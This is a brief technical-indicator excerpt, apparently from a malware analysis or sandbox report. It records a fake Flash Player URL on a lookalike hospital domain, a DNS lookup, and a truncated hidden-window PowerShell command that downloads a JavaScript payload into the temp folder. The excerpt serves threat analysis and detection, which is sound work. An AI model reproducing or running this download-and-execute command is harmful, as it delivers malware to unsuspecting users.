Technical Information
- http+s://phi6eapollohospitals.org/5163276382992/1521081518720156/flashplayer.jse as $d
- DNS ASK ph######llohospitals.org
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden $d=$env:temp+[char][byte]92+'1603583797939.js';(New-Object System.Net.WebClient).DownloadFile('http'+'s://phi6eapollohospitals.org/5163276382992/1521081518720156/FlashPlayer...' (with hidden window)